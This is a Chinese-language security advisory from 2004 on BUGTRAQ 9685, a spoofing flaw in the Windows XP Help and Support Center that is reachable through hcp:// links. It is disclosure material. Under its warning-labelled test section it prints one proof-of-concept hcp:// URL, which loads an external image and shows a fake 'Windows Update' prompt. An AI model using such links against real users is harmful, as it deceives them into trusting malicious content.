发布日期：2004-02-17
更新日期：2004-02-26

受影响系统：

Microsoft Windows XP Professional SP1
Microsoft Windows XP Professional
Microsoft Windows XP Home SP1
Microsoft Windows XP Home

描述：

---

BUGTRAQ  ID: 9685

帮助和支持中心可以提供用户集中化服务和帮助，如提供产品文档，判断硬件兼容性帮助，访问Windows更新，Microsoft在线帮助等。用户和程序可以通过使用"hcp://"前缀执行URI链接来访问帮助和支持中心。

Microsoft Windows XP帮助和支持中心的接口可伪造，远程攻击者可以利用这个漏洞欺骗用户，访问恶意内容。

通过恶意链接，攻击者可以伪造Microsoft Windows XP帮助和支持中心，是用户错误的信任的访问包含在里面的恶意内容。

<*来源：Bartosz Kwitkowski （bartosz@wb.pl）
  *>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Bartosz Kwitkowski （bartosz@wb.pl）提供了如下测试方法：

hcp://system/errors/Connection.htm?online_url=http://wb.pl/bartosz/hcp/screen2.jpg&topic_title=Windows Update&topic_intro=Please click below to check your system&offline_url=c:/

建议：

---

厂商补丁：

Microsoft
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.microsoft.com/technet/security/

浏览次数：3742
严重程度：0（网友投票）